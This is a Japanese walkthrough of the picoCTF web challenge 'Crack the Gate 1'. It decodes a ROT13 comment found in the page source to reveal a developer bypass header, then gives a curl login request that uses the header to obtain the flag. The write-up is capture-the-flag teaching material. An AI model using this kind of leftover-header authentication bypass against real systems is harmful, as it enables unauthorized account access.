【picoCTF】Crack the Gate 1 - ブラウザDevToolsでログイン処理を解析してフラグを取得

問題概要

picoCTFの「Crack the Gate 1」という問題の解説記事です。

• カテゴリ: Web Exploitation
• 難易度: Easy

問題文

問題への取り掛かり方

解説

この問題では、与えられたウェブページを解析して、隠されたフラグを見つけることが求められます。

ステップ1: 問題文中のemailを使ってログインを試す

案の定、ログインは失敗してしまいました。

ステップ2: ページソース・開発者ツールで手がかりを探す

• = や / + が含まれておらず、Base64の特徴に当てはまらない
• スペースや : - " が含まれている
• Hex（16進数）ではない
• 英文の形をしている
• % が含まれていない
• 記号がそのまま残っている
• ランダムに見えない
• 単語の区切りや文章構造が保たれている

ステップ3: コメントのデコード

ROT13デコードを試みます。

$ echo 'ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf"' | tr 'A-Z' 'N-ZA-M'
NOTE: Jack - temporary bypass: use header X-Dev-Access: yes

ステップ4: ヘッダーの追加とログイン

$ curl -X POST http://{仮想サイトのURL}/login \
  -H "Content-Type: application/json" \
  -H "X-Dev-Access: yes" \
  -d '{"email":"ctf-player@picoctf.org","password":"anything"}'
{"success":true,"email":"ctf-player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{xxxxxx}"}

使用したコマンドの軽い解説

tr

$ echo <文字列> | tr <変換元文字列> <変換先文字列>

curl

$ curl -X <HTTPメソッド> <URL> -H "<ヘッダー名>: <ヘッダー値>" -d '<データ>'

まとめ

この問題では、ページソース内のコメントからROT13でエンコードされた手がかりを見つけ出し、指定されたヘッダーを追加してログインを成功させることで、フラグを取得しました。

▼ポイントは以下の通りです。

• ページソースや開発者ツールを活用して手がかりを探す
• ROT13デコードの理解と実践
• curlコマンドを使用してカスタムヘッダー付きのHTTPリクエストを送信する方法

体系的に学びたい人へ（おすすめ書籍）

今回のように「開発者向けのヘッダーが残っていた」系は、 設計や実装・運用のちょっとした油断から生まれます。 Webアプリの作り方と脆弱性対策をまとめて整理したい場合は、この本が役に立ちます。

▼体系的に学ぶWebアプリケーションの作り方　第2版　脆弱性が生まれる原理と対策の実践

閲覧ありがとうございました！